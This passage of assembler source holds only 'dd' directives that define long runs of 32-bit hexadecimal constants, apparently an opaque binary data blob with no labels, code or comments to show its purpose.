dd 5B680397h, 30AA1F18h, 4F0480B7h, 0A6B02329h, 58164B01h
dd 90211072h, 44E3F194h, 8E52A80Eh, 80705C46h, 59D0215h
dd 76B70180h, 8A4C1380h, 0ECB58443h, 52756403h, 1DDC4000h
dd 347DF37Fh, 37381DF5h, 0AD807FA7h, 762D2235h, 0D72BA6CFh
dd 890A9C0Ch, 0BB40B844h, 24D1F94h, 84E7A0FDh, 0E4A01EA3h
dd 8C5F2C36h, 26C53E01h, 4D5E790Ch, 665F5F4h, 0B4C0208h
dd 57F68938h, 0B9C0D377h, 0CB9C3D3Ah, 0FB17E1Eh, 240879A7h
dd 1A3829Eh, 988F8E09h, 43380702h, 0B0307CBAh, 0D6159BAFh
dd 0D00211h, 956A5B87h, 52B50Ch, 77371B27h, 1E7D7453h
dd 0FE04DFE8h, 6B509DFDh, 7D566088h, 0C58202E9h, 24D6107Fh
dd 12BEFC8Fh, 7434416Ah, 0F87E6095h, 0BD011ABBh, 918E7001h
dd 9C300268h, 0E6E8C1B9h, 0C26FD0C6h, 58B11600h, 0A6A2004Bh
dd 0E94A7284h, 0B4A4DFE3h, 0C7F14C06h, 389A5DCh, 16449B9Fh
dd 0D4888514h, 840001C6h, 0FE9E6C3Ah, 0A6779CC5h, 966A0094h
dd 8DBD7914h, 10E8891h, 0A2C5772Bh, 4089D96Dh, 0E16C7424h
dd 4CFF8C50h, 9D751E19h, 0F4D333h, 0DE6187BEh, 0AB0A0AD1h
dd 88E51701h, 20101589h, 4CC4949Ch, 3C877A76h, 0F9801773h
dd 70EA56E2h, 68A6EEA9h, 78937901h, 6C11FCC7h, 5400A026h
dd 185CD880h, 743159BDh, 55E0A0C8h, 0F4DA9D70h, 14531292h
dd 5C1840E8h, 8B34A6D8h, 94877701h, 0FCCEDF6Bh, 6893DC51h
dd 0B0ADB300h, 578A280Fh, 0C1018C20h, 0B56400EEh, 44B9196Ah
dd 0E55748D3h, 360D12BCh, 0B41F1820h, 0A7CC0012h, 347E7207h
dd 0E4004878h, 0B741D0ACh, 3ECDDDF8h, 4781EDBBh, 367224DBh
dd 7707D06Fh, 808E90C8h, 0CB3959D9h, 0A900A393h, 1976AA5Eh
dd 3BE4E0C8h, 7F03DDC4h, 0C0694E08h, 4A48E907h, 9A84C2D5h
dd 5C71B080h, 0DACC0610h, 598D6C73h, 0D85CA00h, 52B0A1E1h
dd 5DF41646h, 84E702FDh, 446F0BBh, 236C0B50h, 3CC91D00h
dd 39DA0196h, 7B11FE2Eh, 5138009Bh, 0C628E641h, 1518CB57h
dd 8991F3B7h, 0C00A4C01h, 8560988Fh, 0A661B474h, 314F648h
dd 0ED155CAFh, 847006FAh, 0A9889401h, 0A89650Eh, 29572E2Eh
dd 0C70019E5h, 50461ACEh, 0A574EC00h, 6786BB27h, 76B30026h
dd 1F468704h, 1614F4A9h, 1BB80ABEh, 92A674C2h, 3DC4475h
dd 5955BB3Fh, 26D35032h, 4C4A39B9h, 9400B258h, 96A50668h
dd 9945C6E4h, 72003E60h, 26ACB38Bh, 5D549384h, 0BC2C6A6Ch
dd 3880348Ah, 0DE27301Fh, 1EBECDAh, 0A8AA93ECh, 0EAC6EA40h
dd 0BB00F844h, 94233B14h, 24E28517h, 6ED87E53h, 651872Ch
dd 4ACA1D07h, 64C0B614h, 532DB0FAh, 9D099039h, 7CA15111h
dd 0C025EB03h, 0A105C121h, 26C287Ch, 24368040h, 0EC6496h
dd 0E9579B97h, 0E66BCB56h, 0A7D421C0h, 0EAA3FA8Bh, 0BA3A0020h
dd 8A82AF62h, 24006D32h, 4D3F28F7h, 4C0E6181h, 898A04F5h
dd 777996E8h, 51DC5A8h, 0F06024Ch, 0E4A17A14h, 31E92B84h
dd 0C5FC0CC8h, 9014812Ah, 0C6E0010Eh, 0FCBD6211h, 5C4C2Dh
dd 0E46F2488h, 0D094B4E2h, 0A6165CF0h, 8844839Bh, 6C40532Ah
dd 293A14F2h, 0BB91BC13h, 0D2F8D804h, 18B5600h, 99C0949Dh
dd 9C1CE498h, 24C50A6Ch, 0F46AE0h, 0D94CBBEBh, 4A240B6Bh
dd 0BC86980Ch, 0E6389149h, 0D29C026Fh, 5D5A7C87h, 43A84F40h
dd 9DB7261Ch, 0EC7B408Ah, 0F093A2C5h, 7CB3C0AEh, 0C51E001Ch
dd 0E3F1DB08h, 0D3992F5h, 0C05CCC20h, 0CB34AADDh, 72C41476h
dd 0BBCB849Fh, 57060094h, 26CE14F3h, 75881EF0h, 0AC213A2h
dd 80F49910h, 28C54978h, 2200C386h, 6163AF1h, 73A5BEC1h
dd 7DA62B25h, 20129694h, 9B1E3798h, 0B8634900h, 80F37DC4h
dd 13C900ECh, 7C9103FAh, 0B503683Dh, 0EA2B24B2h, 969903CCh
dd 37D3E470h, 0B1E8FCE0h, 0E55B0D00h, 0F65AEECDh, 9AFEE57h
dd 64747363h, 109798B9h, 0FCC16985h, 5C0B07F4h, 906EA0C0h
dd 22E07995h, 0C7095F05h, 90329EF9h, 0A66701C0h, 90A90052h
dd 0CB50002Dh, 8B0F1282h, 210007F8h, 0B6BB83DDh, 90F77E61h
dd 0E8A3486Ch, 9BEA6F81h
dd 0A1DAC0FCh, 2209D9F1h, 0BC5D17FCh, 0BFF0D820h, 0FDFF01Dh
dd 75FFA8D6h, 73A480A0h, 20027AB9h, 0BC645A78h, 7C704816h
dd 0EFAC00E1h, 0FA2DF427h, 0B90F78D0h, 20D33BF2h, 0B31BEB55h
dd 3ED1D38h, 67D1847Ch, 0B56C9114h, 3550D80Dh, 11B19D07h
dd 0DFE06EEBh, 39BA78F2h, 71B3C27Bh, 32F0E969h, 900B2DA8h
dd 0B098492Eh, 58F2010Ch, 0A58AE4E1h, 40B79D94h, 44296156h
dd 49005819h, 3BBCD385h, 5C138FFDh, 0F92A83Fh, 9FC0D298h
dd 7E4859E0h, 7170BA09h, 56BC0293h, 0D288002Fh, 12260EFDh
dd 0F7800858h, 5FFAB526h, 5DC617EBh, 9D9408B4h, 16F2560h
dd 0B90C8053h, 0C06F2089h, 80FD5C4Fh, 0BAC82200h, 296017C7h
dd 4347409h, 0B4656795h, 5DD0CC5Fh, 1C56C4Ch, 89F525C0h
dd 0E4250A37h, 97D4C80Dh, 7E6C0757h, 0E00D9CE9h, 48ECF24h
dd 0CA02BFEEh, 9EC4B5ACh, 54CCE6h, 0FFBC7FB2h, 0C31F1235h
dd 0D0A5B0B0h, 8D7E892h, 0D0409490h, 0F9BC001Ah, 8E74C048h
dd 48A21E1Dh, 0A6832893h, 927CDFE0h, 75149400h, 0C0083E82h
dd 9057F4E1h, 0C3E00116h, 0C480A25h, 7C48A458h, 0B05E5742h
dd 499D0280h, 547CA49Eh, 1F03F4D2h, 0C0A7C5AFh, 7BB2EB65h
dd 54B019FAh, 3D57D211h, 0A04BB902h, 14480B6Ah, 3A0024A8h
dd 37E2847h, 7C01A1h, 0AEB3B8B7h, 0EAF15359h, 58958F02h
dd 0A572C3CCh, 388261B0h, 80EC4668h, 0BE1D228h, 0E8DE8B2Dh
dd 0FE019FD0h, 23D0BBE7h, 5876EFE6h, 6FB910h, 53411952h
dd 0E89BF5Ah, 0DF8DC999h, 7E4E0420h, 0F112A871h, 4049BE14h
dd 0CA68B1C7h, 928D38E0h, 84162EF0h, 0BB8940B0h, 68781F75h
dd 7E0BEFEAh, 8ED12B47h, 0E2D78074h, 0A49C7B34h, 0BD151464h
dd 750B20A4h, 0B494EA4Ah, 8938804h, 8808B44h, 91DAA5CBh
dd 0C5011ED0h, 0D1E82E61h, 50906C40h, 0B95D8FD4h, 0A5B64400h
dd 7622601Bh, 6A2FE96h, 19A43A0h, 2F2E98ACh, 84E14889h
dd 801487A3h, 0A16FADEEh, 1001E92h, 523A40D8h, 0A27DC3EEh
dd 158806D8h, 5420091h, 9C5090AEh, 4C92030Ch, 0C8D42100h
dd 0FC352034h, 97A007BAh, 0E317BDB2h, 80B43766h, 8E77F58Ch
dd 0A6972E80h, 0DCC52E80h, 886C45A4h, 2D0E466Ch, 402167BCh
dd 0D3D6E55Ah, 590B138h, 40741479h, 5D3A23ACh, 1376622Fh
dd 7B072F8h, 0C5099800h, 9D10249Fh, 8B4624AAh, 4F1E0888h
dd 8E09743Dh, 3084E62Ah, 248B4900h, 59FC4ADh, 0D58C88h
dd 4DAEEDFCh, 0B124015h, 0A44AC63Dh, 0B10048BCh, 0EB857853h
dd 511E00B4h, 5318F84h, 0B6164B8Ah, 401B1689h, 7BA1BFB1h
dd 11A8D361h, 0EFD409E5h, 90896436h, 0D3B2C018h, 0B54F7A05h
dd 40C09D8Dh, 9884E20Eh, 5C82172Ch, 8CC31393h, 91404910h
dd 707C2Fh, 46E8C09Eh, 0BE3F2AEBh, 623B2800h, 7B25B0D6h
dd 4C80BA71h, 29FC4C6h, 26465A27h, 41CF5C60h, 439B14Ch
dd 85FE865Dh, 990D949Ch, 908A0F5Ch, 0D92F2143h, 8E7CE088h
dd 0FA68EB00h, 0A3F0ABBFh, 0BACB03EAh, 0E2614138h, 9D01F975h
dd 0AF8D6E56h, 2FF43596h, 0C2E09CB4h, 842F88F2h, 6A40596Ch
dd 7A295F3Fh, 46A2E600h, 768F4DDFh, 294C9050h, 6CCD0C6h
dd 71C88116h, 93300C58h, 402CE100h, 50D6E403h, 0A40C11h
dd 73430A66h, 36618A99h, 0A30C6494h, 835188h, 0DEE2B430h
dd 0B3920471h, 595C0301h, 0D83B1DBDh, 9CEA96D4h, 0B494110h
dd 4CC072E9h, 1C5D0334h, 0E5E69803h, 91676B82h, 0E4706F88h
dd 4307D0Ah, 0EAFAC2BEh, 9828DC2Fh, 531B6A10h, 2E55407h
dd 8613A09Eh, 0FF21D93h, 824D18E0h, 0D2C58230h, 0D0F84B8Bh
dd 3CC633BCh, 0B40A9E20h, 40B09A6Ch, 9054C38Ch, 0EA452B00h
dd 24DC5C04h, 70183F02h, 0BB0018C8h, 0B4969C44h, 0C5075E15h
dd 74EC4DBh, 0AE940C87h, 0D6C42497h, 301018C9h, 0A6375Ch
dd 0A9D6336h, 0D51F1C9h, 0CF004CECh, 9985C889h, 4E1888Bh
dd 0C1652A3h, 5510A07Ah, 0C03C1948h, 17018A5Fh, 1559C492h
dd 4080E4C9h, 80B15A38h, 98F0C7E5h, 62C854h, 4B3545B0h
dd 0FEA9C1ACh, 7100FD73h, 0C9AB92FFh, 0BB5612h, 0F90347F2h
dd 2D05B41Eh, 84849D5Dh, 0D8D895AFh, 42940EB0h, 703F6C8Fh
dd 13F02889h, 85F81C13h, 4C77E400h, 504882DFh, 2D7DDC9Dh
dd 7880E23Ah, 54FE9C90h, 7E3D6D04h, 0A490016Ch, 0E70DE4h
dd 68164FE8h, 0C410640h, 0F3167DF4h, 2C61558Fh, 0C611BF16h
dd 2D1862D6h, 16818E5h, 0A1966025h, 7444D3E6h, 64408C9Eh
dd 2AB38FEh, 1ADE63E1h, 64D1C235h, 2BFC7400h, 1C5073DBh
dd 34227BBh, 788128F1h, 0EAF809C5h, 0C8F21C98h, 0FD4E0105h
dd 9480C541h, 13E596F3h, 254689DDh, 6ABC9C98h, 804CBC48h
dd 9DAD45DEh, 4F4D0090h, 47AC325Dh, 0F80F2E5Ah, 2158D43h
dd 59774556h, 3A4AAC98h, 263BE407h, 0AC14EB0Eh, 0A975E8E2h
dd 0F14FD809h, 5288585h, 0F44808E6h, 12B65306h, 3E20D935h
dd 0C0B4C26h, 0E1075C80h, 0EC9C61A0h, 0EEF002C3h, 5C3DE851h
dd 0EEA0D41Dh, 9E0E70A3h, 60529DC3h, 0F93BC8AAh, 3DFC4878h
dd 0F860ED00h, 0EEC4E33Ch, 1F52A009h, 0BEC8E31h, 9B84A2Bh
dd 116C2BA8h, 83D7498h, 0E8808B88h, 803251F2h, 4D9E07A0h
dd 0E3C52BDBh, 80D5F949h, 0AA9C0828h, 0CBBA3014h, 7824A098h
dd 0C8181C1Ah, 40E15216h, 0D17EFC14h, 0B4266730h, 5C1198E6h
dd 5A1ABC07h, 0E08E101h, 8413C0DBh, 21C85Ah, 0C41405F0h
dd 72B044B4h, 30D0532Fh, 38E1DFDh, 776206E1h, 5A02FE23h
dd 0F9CA4389h, 0B6EC78EDh, 14E26F2Ch, 2E005310h, 0E2BB9D3h
dd 0A6E13384h, 16242160h, 2A00EC1Fh, 0DD428A58h, 0B7E24Ah
dd 1953C68Eh, 753EE952h, 0B9665F00h, 6BB2EF51h, 8E5B3DC5h
dd 0BBE4444Eh, 0C344A46Ch, 1D211003h, 0D8A54382h, 0E17E03Ch
dd 0CBAC532Dh, 7C90E57Fh, 64B49B01h, 15B13647h, 8C68C90Ch
dd 6FF10BB0h, 83922117h, 49C65000h, 84E80Ch, 0E2652B7Dh
dd 30136FBFh, 0A905F5F6h, 0BAF861AAh, 93F483h, 0B7022010h
dd 12457B26h, 4AEFF1Dh, 8EA3BB80h, 662910h, 401B15FBh
dd 0DDA7D54Ch, 0A13CF418h, 71D7A908h, 2BB500B3h, 4CC889Ch
dd 101AC83h, 0D5C1A769h, 28804724h, 3023FAAAh, 0AE07DDA4h
dd 3C98E1B6h, 1BA7053h, 0C2FE96AAh, 0DCA384A9h, 61CABB54h
dd 0E20F5C35h, 6FC10071h, 4B4D07h, 3A9DDFECh, 0A610B37Eh
dd 3B819814h, 0EC007E1Ch, 0BFE64922h, 1FEE7Bh, 0C73EF0Ah
dd 0CE42CF3Eh, 0EA8E801h, 5F94D228h, 0A7607DE5h, 2B0F0145h
dd 6BB09CEAh, 174403Bh, 21004734h, 6FFB58ACh, 348D5C3h
dd 0CE8A1C2Bh, 29030E3Bh, 397FAB81h, 55479856h, 10450030h
dd 0BCEB5FE6h, 1AE8CCF1h, 0ACE84314h, 4AD5CEB4h, 2A8394E2h
dd 0B26A24h, 31628A51h, 3A6C0D94h, 0E6191300h, 0D8F6429Dh
dd 0DEBF03FBh, 3EB7AE3h, 6C1E41FEh, 0F1C0C522h, 8E688F3Dh
dd 97B900ECh, 0A31E48C4h, 3778CE77h, 0D829D515h, 0EA1A00E8h
dd 21FC5538h, 465D1F79h, 664AC1A4h, 0FC39BE16h, 61C05E03h
dd 0E84E7899h, 0DDAE012Ah, 0F230BC61h, 0BD58BA4Bh, 0D49690A1h
dd 0A83B3073h, 0EE4F98C9h, 8AD6AB1Fh, 0DC110CE4h, 0BA714307h
dd 13DAF23Fh, 0EF01404Ch, 546B12A7h, 21709065h, 0A8B0078Ah
dd 60D70CBCh, 8211BBA2h, 870968C8h, 4C16341h, 5CD880CFh
dd 810FA855h, 0A3C26540h, 0A843AB27h, 0AC7DF779h, 869090A0h
dd 0D7100290h, 6A145F34h
dd 9612E9C0h, 0D4D53Dh, 13C1D631h, 0C07BFA08h, 7301DDC0h
dd 3C000733h, 8D290268h, 0FCF225h, 0D905E3E2h, 0C523D2FAh
dd 0A6B72712h, 0B4B27004h, 0A4AC2124h, 0DC1BC462h, 7628611Dh
dd 594245C0h, 16DCE9Eh, 5737D9Ch, 5352EF29h, 3398F4B0h
dd 9912EB4Bh, 1C1113A0h, 47222Ch, 0AD5EDB45h, 36B19DAFh
dd 0FC0A237Eh, 80F71E66h, 0F5DA9061h, 0A673D180h, 0F31732EFh
dd 0D52248h, 21CE9205h, 1081CA9h, 0AF3ABE20h, 880F01D0h
dd 80B2ADD0h, 843B408Ah, 7F60DAA1h, 0FAA5D151h, 2F2C1864h
dd 289128A4h, 14211F01h, 953747B2h, 0D5CCB1E7h, 0E8D1ACF0h
dd 0C1A26127h, 81334E40h, 0C5D03439h, 0A445B51Bh, 8924D203h
dd 90B9F3EEh, 0A01E672Bh, 5064B444h, 0B8994C3Bh, 0F2DC010Eh
dd 1BA34787h, 3CB04A63h, 0C38B00C5h, 99D1A5FBh, 0B9C7097Ah
dd 5CA728FAh, 801CE45Fh, 0A979EBC2h, 9F7E513h, 89982900h
dd 24AD152Eh, 6024C1FDh, 2BD58CA8h, 89B8B030h, 2648BA91h
dd 911C1FD3h, 90D507A6h, 0E0205995h, 13D7B3EDh, 601EBAF1h
dd 39D53F14h, 0E7D3D44h, 8878893Bh, 0A705B3C7h, 4204AD4Dh
dd 602EAD88h, 14FEEBA2h, 96770043h, 325E7518h, 2714F716h
dd 0C29808B0h, 20A89255h, 9B9EB3DAh, 4817500h, 95D00819h
dd 0D8AB6964h, 0F5285802h, 320C8509h, 89ACD042h, 780C44AEh
dd 0D8FA049Ch, 0D05E6649h, 20C0A124h, 0DB29A8A8h, 0D41D6492h
dd 2B00E94Ch, 0EEDFBE8Dh, 0EC59282Ch, 37C7FECh, 29B5E6B1h
dd 3007B3D9h, 94FF1443h, 283D077Eh, 9D4B9250h, 901B0018h
dd 6F5BF502h, 5309BCD1h, 1BAA14B8h, 6AB2A088h, 0E106009Ah
dd 216863DAh, 0A421EF0Eh, 8A188F6h, 2D565540h, 50477F6Dh
dd 41EB0B9h, 2CDBE57Ch, 3B09C101h, 0F99C50BAh, 1B02C786h
dd 4DFD393Eh, 6BDC80C1h, 2CDDC2A4h, 608412DCh, 0B818F047h
dd 0D7CAA0Fh, 34A65C6Eh, 6200B8A0h, 6F4F3684h, 50D08A74h
dd 4152A469h, 1EF034B9h, 0A379AA60h, 12346790h, 22734008h
dd 0A44CD6B4h, 2A124542h, 0B09C7125h, 2F3501E2h, 5BE9F980h
dd 0E75269Bh, 0D069663Eh, 7D3C658Ch, 0B23F00AEh, 2DE492ADh
dd 0A0BC0FD2h, 904E7FB5h, 50904EA9h, 0C967D5D6h, 0B08A2581h
dd 2A628460h, 0C071031Bh, 76AC82C8h, 0C01417C3h, 5820D6FFh
dd 3A9BE020h, 786600D2h, 517D848h, 48993547h, 391530A6h
dd 4874287Ch, 0D0193813h, 80B50C08h, 5F020961h, 35006056h
dd 0E37B11AAh, 757CC81Dh, 389229h, 0A19F6F6Bh, 0C4AEE817h
dd 522A110Eh, 655EC349h, 0C8C57Eh, 3747C64h, 973C9ABBh
dd 5A8E1A5h, 7C00C94Bh, 54B3DB1Eh, 1385AFFBh, 413E282h
dd 4B74F68h, 7C98ED55h, 0B11A3029h, 0CD988B58h, 5E00C070h
dd 75BF87CAh, 5F24C3h, 3CF9217Bh, 34991BABh, 9F78A470h
dd 0E92608C0h, 0FAF4753Dh, 0B2D400D3h, 1DA734DEh, 770FB07Bh
dd 602E409Ah, 9BA4AD25h, 201CA012h, 8DFA9h, 98772C2Fh
dd 48746B1Eh, 3C7C8400h, 93071620h, 45390AA9h, 0A04B2Fh
dd 27A5F003h, 8D00B71Fh, 784E70E9h, 38990E9Eh, 17006E6Fh
dd 650133D4h, 94183E41h, 0AB6950B4h, 8008D87Dh, 77FCB08Bh
dd 0AEA6A006h, 0D93B19h, 572EEA1h, 556C53BAh, 20142300h
dd 4AC15DF2h, 1CD518B4h, 0F5A65151h, 0FBD0F800h, 0D0AAE7Ah
dd 0ECE30160h, 6F2FA862h, 75A5E06Ah, 0B97DBB39h, 6E368089h
dd 0C8DD7317h, 0A3C90E5Bh, 0FB0FE9Eh, 2046AC3Ah, 0A4C1BA23h
dd 0FA8E00EFh, 98F8EE99h, 0FE002980h, 46AD36E3h, 0A83A9E3Eh
dd 381A5FA4h, 6F3E63DFh, 94ADB11Dh, 0D7299E7Dh, 0F08A9984h
dd 5EBCC8A4h, 9E44C1C0h, 0C47377A0h, 6FDBF0h, 0F530E2AFh
dd 3E5402E1h, 0CD293968h, 6AE5E0A7h, 50AF83A0h, 12E869A2h
dd 0E977AE65h, 2075C600h, 376D0D52h, 0D5D30071h, 50B611Dh
dd 0D83017BDh, 0ABFD499Ch, 29B624BEh, 63AF07D6h, 608170A2h
dd 3000A324h, 476F28FFh, 3A75A69Eh, 1CC8CB46h, 68418280h
dd 8F1F4350h, 7A0FDBh, 0DEB3061Dh, 442B071h, 4FA09B56h
dd 46349258h, 0ACCA2E20h, 5E5F0016h, 864E0CB9h, 640E9909h
dd 20DF8FC3h, 0FE30B041h, 0B64F0D0Ah, 480A78DEh, 0B6B8473Ch
dd 51D63935h, 37BE6804h, 7E401841h, 41B3F4BAh, 0DBF9230Ch
dd 85F1B5h, 0C7F5031Ch, 8AB51F8h, 74389549h, 50A02D24h
dd 13522564h, 0AC1D03FFh, 2102B81Fh, 890A4776h, 4AFE68h
dd 4672C2F4h, 9CAC7973h, 0BA1BF800h, 236AAD02h, 15353039h
dd 88250CB1h, 693DCB30h, 0C65E5Dh, 0DE403AA3h, 0A9D73943h
dd 6CC5D900h, 65192B8Eh, 3EA8019Bh, 85DF714Eh, 5BB041DDh
dd 77AC4C05h, 3007D300h, 6A0241ECh, 970003Ch, 3FD945F9h
dd 0FD0E0193h, 0E2D86DB2h, 90C20510h, 72BF8B8Ch, 95E104D5h
dd 8826A9F2h, 170A0530h, 94931BAEh, 2D120680h, 121A0DE8h
dd 967639h, 169B9AA4h, 0A8A407C8h, 79E89300h, 5D664F46h
dd 9C892C9Dh, 5902330h, 1D941FAEh, 40E8A42Ch, 6509DF9Eh
dd 0BFC43501h, 5607DB0h, 70CEC40h, 9A2B3139h, 0F24A0FB9h
dd 4E49346Ch, 0EABE1EB0h, 46042153h, 88CE7EFh, 0B87A48F3h
dd 31A97D06h, 1C00E92Fh, 1D5DF7B5h, 12C348FFh, 30FBB1FDh
dd 52B994F4h, 5AF8A1C3h, 0F2DFD9D5h, 5DA0C06Bh, 600EB12h
dd 0FB6E9FD2h, 5339552Dh, 5301F824h, 832BBFEEh, 0CAE8DF72h
dd 0A0006B1h, 8F7D7567h, 0FF44631h, 0FFC37863h, 0A8E62098h
dd 9F934A0Bh, 0D207804Eh, 0CA63E0Fh, 3878F23Ah, 0B03A940h
dd 0AD7BD34Ah, 4C98D02Ch, 4D738Ah, 0A715D410h, 0CF7406ECh
dd 3D63B400h, 48E369EDh, 52BB00E9h, 20A6EB10h, 6000E519h
dd 0ADEADA08h, 0C0D6F236h, 210EAF61h, 0C3007B02h, 53E67E7Ch
dd 0C07AEFF4h, 7705FA21h, 10E6BFECh, 6C175900h, 0D8D10460h
dd 0F46415B0h, 0B007076h, 378E9EAh, 5E143E98h, 84C9B2h
dd 132F4353h, 9067CB2Dh, 65F10E98h, 3DC3C116h, 29154D8Ch
dd 789CC3EFh, 0C1E0051Ch, 0B5F65D40h, 7D69EEh, 0B0E16ED1h
dd 0AC995B6h, 0A9D70F30h, 15C1BEAh, 0E4B1DAEDh, 0D29BCD48h
dd 0FE22B4A0h, 40003D8Ch, 861B55B8h, 0FB05E771h, 0DCB9A16Fh
dd 0CA29CC31h, 7885A074h, 0D4200206h, 315B77Ah, 8CC867E2h
dd 0B100D969h, 391FE5E4h, 7BB1BCAh, 935814A0h, 6A4B0024h
dd 52120319h, 0C40CBEEh, 2A56F25Ah, 0CFFE11h, 635CDA71h
dd 0EF5B5721h, 3779BB12h, 9ACC0440h, 0D35C6h, 992A7C9h
dd 0DA6A73C4h, 648B79C0h, 3E57AD32h, 35BD05E0h, 3B10B480h
dd 7B7CB7ABh, 6AC85C50h, 0B0093902h, 80437322h, 0BC01CA94h
dd 74080098h, 1B80966Eh, 59C0BF7Ah, 9F9DC0E1h, 0CAED0073h
dd 0BAA2145Bh, 0C929A7Ch, 0CCDC6A03h, 0EB7F5C65h, 0C078C03Ah
dd 994A8F2h, 87C9123h, 346076CEh, 64CEEEAh, 5E39E5F3h
dd 4A007147h, 0D39AF1EFh, 0A0D5D6h, 0B4AD9B37h, 0BCB54E28h
dd 0A0F1490h, 0ACCE6484h, 903F690Bh, 0F38100E5h, 68F6B473h
dd 58BD49D9h, 0AE0E0777h, 20C34F9Bh, 3BF8A5F4h, 7520F9C5h
dd 0B4A1F030h, 0F8B00C36h, 1120056Fh, 42974100h, 0EE239A1Ch
dd 0E029D557h, 3F731D83h, 6BE25100h, 0E5E38E34h, 0CEBA0016h
dd 0EDE8097Ch, 3F0095A1h, 4B72E22h, 9818AA5h, 230BA301h
dd 3773AC10h, 7F8749C0h, 3ED6A627h, 300ADF0h, 1B768DC9h
dd 7131EC80h, 0AA162939h, 0EED9C6E4h, 9EF700ABh, 49E1A8D3h
dd 0EB2A1F1Ah, 0EF307CADh
dd 3F7669D0h, 29CE0741h, 0D76A8723h, 9D2891B9h, 183752h
dd 1C9002F4h, 24B08267h, 47A023EAh, 0B3F74007h, 19FC72EBh
dd 0CB00607Bh, 0C392610Dh, 79A989h, 145AB8F2h, 0E7CBBCEh
dd 618E748h, 0FA4C49A5h, 7C244C48h, 6AFEBC83h, 21729998h
dd 7D79850Ah, 46EFB49Ch, 4831F6EFh, 2F807C77h, 47F89F67h
dd 16830E00h, 5965E08Fh, 0A5143D6Eh, 0A3CE6982h, 7064EFE8h
dd 21CA2900h, 42527694h, 989A0Ch, 0A69BEF3Eh, 0C829E9D4h
dd 0B866F3Dh, 83E8A951h, 0B198DB7Dh, 8DDC4462h, 286F6717h
dd 0FD15A0B5h, 0B8074E8Ah, 0D9F648BBh, 1EE402E0h, 0A6530368h
dd 0DCBAEA93h, 0EDD43103h, 96BCE525h, 690B0011h, 40E1629Fh
dd 0DF1E5FD0h, 798032A9h, 64930755h, 16840019h, 0F85E6671h
dd 72F6EAA2h, 0D256C14h, 1F03C44h, 32AE360Ah, 0C7FC238Ah
dd 633900FEh, 57BA56FBh, 7F008D05h, 0BFA27652h, 0FC6DEF15h
dd 0B09A00DAh, 0E9F0D4B4h, 0CA006E55h, 91A1ABDBh, 0A66AF7h
dd 187F7212h, 4BE94EE7h, 45D9800h, 7CA8EF6h, 29FA00B7h
dd 37ED1293h, 7C03452Bh, 756FA2BEh, 0E9581DAEh, 0AC6A9Ch
dd 43E6DF65h, 0F24CED86h, 0DE093Bh, 6402B32h, 34A2CCh
dd 3E3FF46Ah, 0F6BAA602h, 0C3A185E3h, 60238DAFh, 11F20085h
dd 409652Bh, 6E542CB6h, 94FC3488h, 925051E5h, 0D9180B4h
dd 353D9D33h, 98A60C9Fh, 26A1A02Dh, 3E41A360h, 732C49F8h
dd 0FFDC3E4Ah, 0CA364200h, 0A77F5A4h, 11F0D156h, 0AD006F18h
dd 0BDC188F2h, 2624F0F6h, 0E60096EDh, 0BA04E8E7h, 0A1FCA4EEh
dd 789DA895h, 243A006Dh, 7FD6028Eh, 8F5DE603h, 809DDB2Dh
dd 6037BC70h, 728961E9h, 0F5489666h, 0ECF9CA04h, 10FC75E0h
dd 0F1BC6069h, 0F572D89h, 0B0BA6600h, 6BCB1D0Ah, 96ED00EEh
dd 80DABE54h, 6467C6DFh, 2033EFF8h, 0B97128A1h, 98590058h
dd 0CF5F1BC3h, 30E9423h, 8FF09FF3h, 6381A12Dh, 8C5DD025h
dd 84616FC9h, 0C1904403h, 118AB873h, 80BCB09Ch, 10C5A0A4h
dd 97CF638h, 46198F60h, 0ACA38Bh, 72BBC4CBh, 4EC0694Ch
dd 0F8AF8500h, 0D9DFB1B6h, 31A3679Bh, 321E905Bh, 887F827Dh
dd 0B0190800h, 75F8F6F7h, 297B312Fh, 87A2EE0h, 393092F2h
dd 84001816h, 0BF9CA5D3h, 112BB6D5h, 150014A4h, 1DA51A99h
dd 0D60B01E8h, 592D225Ah, 0E77C2051h, 0B79222h, 0B23C7BF2h
dd 670F49AAh, 0A871C00h, 42EF8932h, 30A80FD4h, 6C83D274h
dd 96D85C5Ah, 69C09EB9h, 0FD592125h, 0E27453h, 0AB1DB577h
dd 0CDBD5E8h, 82DC2C00h, 0DAE6F6EAh, 0F7BF0169h, 5510D140h
dd 6D2D0B9h, 116F4CF0h, 0E33FE008h, 3DC5E0h, 0B053DEE5h
dd 4901F450h, 36BA3Bh, 0D008E2EFh, 6432E10h, 305E2B8Fh
dd 830048CBh, 0C63A9B1h, 558B34Eh, 331CA63Ch, 258B0088h
dd 2D77C7D5h, 43046C00h, 0D9E2E502h, 0E6AA017Ah, 3834FC09h
dd 77898667h, 505922D0h, 354D3h, 1A388E96h, 0EC87C3B4h
dd 2BB9CC00h, 0B173E788h, 441D1786h, 0B64307B3h, 3D10F193h
dd 417EDBD2h, 9CFF6E00h, 68133AD6h, 6CE2B3h, 8192843h
dd 0D3C6C126h, 8C1E8601h, 0B9DE0158h, 0D2900ECFh, 3BE090D5h
dd 0DCF7F959h, 54CAA001h, 0DD6B0533h, 783FE3F7h, 0F9C50028h
dd 78D84C64h, 0A5F48BB7h, 1F3CE100h, 7111E3E9h, 365215C1h
dd 0B6228081h, 3366DF03h, 0D9F286BCh, 6BEC0208h, 0DD7F05DEh
dd 634FCA0Bh, 28D8E6E0h, 0BA1C545Dh, 0E1453687h, 602331BBh
dd 3416D06Bh, 0AC5A5439h, 0C049032h, 80C808E0h, 0E8452681h
dd 7C94A9F0h, 7B5007B8h, 0C71DA2C9h, 545293E4h, 395FE118h
dd 310608h, 81507C64h, 0CD4BA2FDh, 60B9EA3Ch, 71120A29h
dd 6A40753h, 1335AA91h, 89007D4Ch, 0B144D85Dh, 41E80Eh
dd 59BED31Ah, 2667775Fh, 9645AE00h, 943AE2E9h, 0F25A0CEBh
dd 2579345Eh, 7CCAC00h, 33051BD4h, 1617B8BAh, 1E2384B4h
dd 0D23EDD12h, 5F787053h, 380CB2Ah, 0EF3924DBh, 17EC0027h
dd 574813BFh, 2A295100h, 2D36BE4Bh, 2C1E471h, 3484E669h
dd 556126E7h, 0B5D2F021h, 66002892h, 0E8CFDAB8h, 247CC598h
dd 0C0831E2h, 0DFE9825Ah, 0DA0017ECh, 0D4FE27A8h, 0EE3ACAEFh
dd 76B2F245h, 22EB0F36h, 9CF5B9C1h, 569A8103h, 64B99776h
dd 0A0827C8h, 8435D478h, 89BAD38Ch, 0DA0B0043h, 784D07AEh
dd 0C800635Bh, 24A2F3DEh, 0C0CCD217h, 8E2E4C29h, 2A0016D1h
